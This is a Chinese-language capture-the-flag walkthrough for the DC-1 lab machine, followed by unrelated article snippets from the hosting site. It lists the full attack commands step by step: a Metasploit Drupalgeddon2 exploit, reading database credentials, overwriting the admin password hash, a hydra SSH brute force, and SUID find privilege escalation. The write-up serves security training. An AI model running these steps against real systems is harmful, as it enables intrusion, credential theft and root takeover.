DC-1靶机渗透测试

DC-1靶机渗透测试

  • 一、信息搜集
    • 1、嗅探寻找存活主机
    • 2、查找开放端口
    • 3、查找敏感目录
  • 二、漏洞利用
    • 1、web访问
    • 2、寻找Drupal 的config文件
    • 3、寻找网站登录密码
    • 4、寻找靶机的用户名和密码
    • 5、远程登录
    • 6、提权

一、信息搜集

1、嗅探寻找存活主机

命令:arp-scan -l
找到对应ip地址

2、查找开放端口

命令:nmap -T4 -A -v 192.168.219.132发现开放22,80,111端口
开放80端口可以访问web https://192.168.219.132

在这里插入图片描述

3、查找敏感目录

命令:dirsearch -u 192.168.219.131 -x 403,404
没有什么有用的信息

二、漏洞利用

1、web访问

访问web,发现CMS为Drupal,并且有登录页面,尝试突破
使用msf查找Drupal漏洞命令:use drupal											寻找合适的payload
命令:use exploit/unix/webapp/drupal_drupalgeddon2		使用excellent的最好,这个介绍是injection
命令:show options										需要填写的内容(攻击ip和端口)
命令:run													等待攻击成功(如果不成功,就选择另一个payload)
命令:ls发现flag1.txt	:	Every good CMS needs a config file - and so do you.
命令:shell后python -c 'import pty;pty.spawn("/bin/bash")'开启终端

在这里插入图片描述

2、寻找Drupal 的config文件

命令:cd sites/default/settings.php
发现了flag2
/**** flag2* Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?**/
里面发现了数据库的用户名和密码
$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);

3、寻找网站登录密码

命令:mysql -u drupaldb -p
命令:show databases;
命令:use drupaldb;
命令:select * from users;
发现密码是被加密的
drupal可以利用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下。使用加密脚本加密新密码:123456,生成加密密文,将所得密文替换MySQL数据库中的原有密文,实现密码更新
命令:update users set pass='$S$DTQFbqOip8PKBx6aJ1V/1Bq4GJJBDI5j2.yp0XhGw2rUCBWjj22U' where name='admin';
使用admin和123456登录网站即可看到flag3
flag3:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

更改之前的用户数据
在这里插入图片描述
更改之后的用户数据

4、寻找靶机的用户名和密码

命令:cat /etc/passwd
发现
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
考虑爆破flag4的密码
命令:hydra -l flag4 -P /usr/share/john/password.lst 192.168.219.132 ssh
爆破结果:[22][ssh] host: 192.168.219.132   login: flag4   password: orange
得到了flag4对应的密码是orange

在这里插入图片描述
爆破密码

5、远程登录

命令:ssh flag4@192.168.219.132
命令:ls发现flag4.txt
命令:cat flag4.txt得到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

6、提权

命令:find / -perm -4000
发现find有root权限
命令:find / -name 233 -exec "/bin/sh" \;
提权到root权限
命令:cd /root
命令:cat thefinalflag.txt
Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/750852.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于单片机的智能小车泊车系统设计

摘 要:随着信息技术的进步,汽车逐渐朝着安全、智能方向发展,智能泊车系统的出现不仅能帮助人们更加快速、安全地完成泊车操作,而且适用于狭小空间的泊车操作,降低驾驶员泊车负担,减轻泊车交通事故发生率。文章基于单片机设计自动泊车系统,以单片机为核心来实现信息收集及…

【Numpy】练习题100道(51-75题)

🌻个人主页:相洋同学 🥇学习在于行动、总结和坚持,共勉! #学习笔记# Git-hub链接 目录 1.题目列表 2.题解 1.题目列表 51. 创建一个表示位置(x,y)和颜色(r,g,b)的结…

C#控制台贪吃蛇

Console.Write("");// 第一次生成食物位置 // 随机生成一个食物的位置 // 食物生成完成后判断食物生成的位置与现在的蛇的身体或者障碍物有冲突 // 食物的位置与蛇的身体或者障碍物冲突了,那么一直重新生成食物,直到生成不冲突…

19双体系Java学习之数组的Arrays类

数组的Arrays类 ★小贴士 sort方法对数组进行排序,方法调用完成后,数组按升序排列。 binarySearch方法对数组进行二分查找,如果能找到需要查找的元素则返回该元素的下标,否则返回一个负数,详见binarySearch的范例代码。…

如何将Excel两列数据转换为统计图、曲线图、折线图?如何自定义某一列作为Excel的统计图横纵坐标?

这样,横坐标就更换为指定选中的数据了 我们还可以修改统计图的样式 也可以修改统计图的类型

代码随想录算法训练营第41天 | 01背包问题(二维+一维) ,416. 分割等和子集

动态规划章节理论基础: https://programmercarl.com/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80.html 01背包理论基础 链接:https://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%…

Linux-centos系统中如何去除配置文件中的注释部分

1.备份配置文件 将原有的配置文件备份到一个新的文件 备份配置文件可以在我们误操作时及时的补救 #将原有的配置文件复制一份到指定的文件夹 (这个文件夹用来专门存放配置文件的源文件,文件夹自行创建)cp filename.conf /file_path/config…

ClickHouse副本节点数据损坏恢复

参考链接:https://blog.csdn.net/qq_42082701/article/details/127771766 参考链接:https://kb.altinity.com/altinity-kb-setup-and-maintenance/suspiciously-many-broken-parts/ # 背景CK配置为1分片2副本# 配置参数,这里我们将max_suspicious_brok…

大数据时代的电商:如何利用API进行高效的数据采集与分析

在大数据时代,电商平台积累的数据量是前所未有的。有效地采集、分析和利用这些数据对于提升商家的竞争力至关重要。API(应用程序编程接口)作为连接不同系统和数据的桥梁,在此过程中发挥着核心作用。以下是如何利用API进行高效数据…

redis学习-List类型相关命令以及特殊情况分析

目录 1. lpush key value1 value2 ... 2. lrange key start end 3. lpop key num 4. rpush key value1 value2 ... 5. rpop key num 6. lindex key index 7. llen key 8. lrem key num value 9. rpoplpush key1 key2 10. lset key index value 11. linsert key before/after…

蓝桥杯第八届A组:分巧克力

题目描述 儿童节那天有 K 位小朋友到小明家做客。小明拿出了珍藏的巧克力招待小朋友们。 小明一共有 NN 块巧克力,其中第 ii 块是 HiWiHi​Wi 的方格组成的长方形。为了公平起见, 小明需要从这 NN 块巧克力中切出 K 块巧克力分给小朋友们。切出的巧克…

Python基础算法解析:支持向量机(SVM)

支持向量机(Support Vector Machine,SVM)是一种用于分类和回归分析的机器学习算法,它通过在特征空间中找到一个最优的超平面来进行分类。本文将详细介绍支持向量机的原理、实现步骤以及如何使用Python进行编程实践。 什么是支持向…

Python入门教程(一)|基本语法概述

目录 1. 注释 2. 变量和数据类型 3. 控制流 4. 函数 5. 类与对象 6. 异常处理 7. 模块和包 8. 文件操作 1. 注释 在Python中,单行注释以#开始,多行注释使用三个引号 """ 或 。 # 这是单行注释""" 这是 多行 注释…

【开发方案】Android 双卡设备手动搜网功能适配

一、背景 存在运营商需求:当SIM卡设置中选择了自动搜网,那么在重启开机后要执行一次手动搜网。 若基于本身单卡的实现,只搜索卡槽0的,而且写成了单线程,那么就在适配双卡的过程中还需要调整设计模式。 二、源码逻辑 Settings应用发送消息,Telephony 模块Handler回调方…

栈与队列|150.逆波兰表达式求值

力扣题目链接 class Solution { public:int evalRPN(vector<string>& tokens) {// 力扣修改了后台测试数据&#xff0c;需要用longlongstack<long long> st; for (int i 0; i < tokens.size(); i) {if (tokens[i] "" || tokens[i] "-&qu…

南卡罗来纳州历史和文化经济地理和自然政治和社会教育1. 加州大学公布2024年秋季入学新生和转学申请数据2. 2024考研国家线公布路德会信徒核心信仰礼拜和

目录 南卡罗来纳州 历史和文化 经济 地理和自然 政治和社会 教育 1. 加州大学公布2024年秋季入学新生和转学申请数据 2. 2024考研国家线公布 路德会信徒 核心信仰 礼拜和实践 分布 社会和文化影响 约翰塞巴斯蒂安巴赫 生平简介 音乐风格和作品 遗产和影响 …

【Spring 篇】SpringMVC拦截器:给你的应用增添色彩

嗨&#xff0c;亲爱的小伙伴们&#xff01;欢迎来到这段关于SpringMVC拦截器的奇妙之旅。今天我们要一探究竟&#xff0c;深入挖掘拦截器的神秘面纱&#xff0c;看看它是如何在你的应用中悄然发挥作用的。别怕&#xff0c;我会用最通俗易懂的语言&#xff0c;一步一步带你走进这…

【MySQL】的相关面试题(四)

面试题 HAVNG 子句 和 WHERE 的异同点? having子句和where子句在sql中都用于指定筛选条件&#xff0c;但他们在功能和使用场景上存在明显的不同相同点&#xff1a; 两者都用于基于特定的条件对数据进行筛选 不同点&#xff1a; 应用阶段 &#xff1a;where子句在数据分组前进…

银行合规线上知识竞赛活动方案

合规知识大闯关 作为全国竞赛氛围预热项目&#xff0c;组织市县中心、代理网点人员参与合规知识大闯关答题。 1.建立线上答题平台&#xff0c;参与人通过手机、电脑等方式&#xff0c;填写个人基本信息登录。 2.答题平台在题库中随机抽取试题。 3.参与人在出现第一次答错后&…

spring boot nacos注册微服务示例demo_亲测成功

spring boot nacos注册微服务示例demo_亲测成功 先安装好Nacos Nacos安装使用 创建Maven项目 结构如图 例如项目名为: test-demo 下面有个子模块: test-demo-data-process 父模块pom.xml <?xml version"1.0" encoding"UTF-8"?> <project …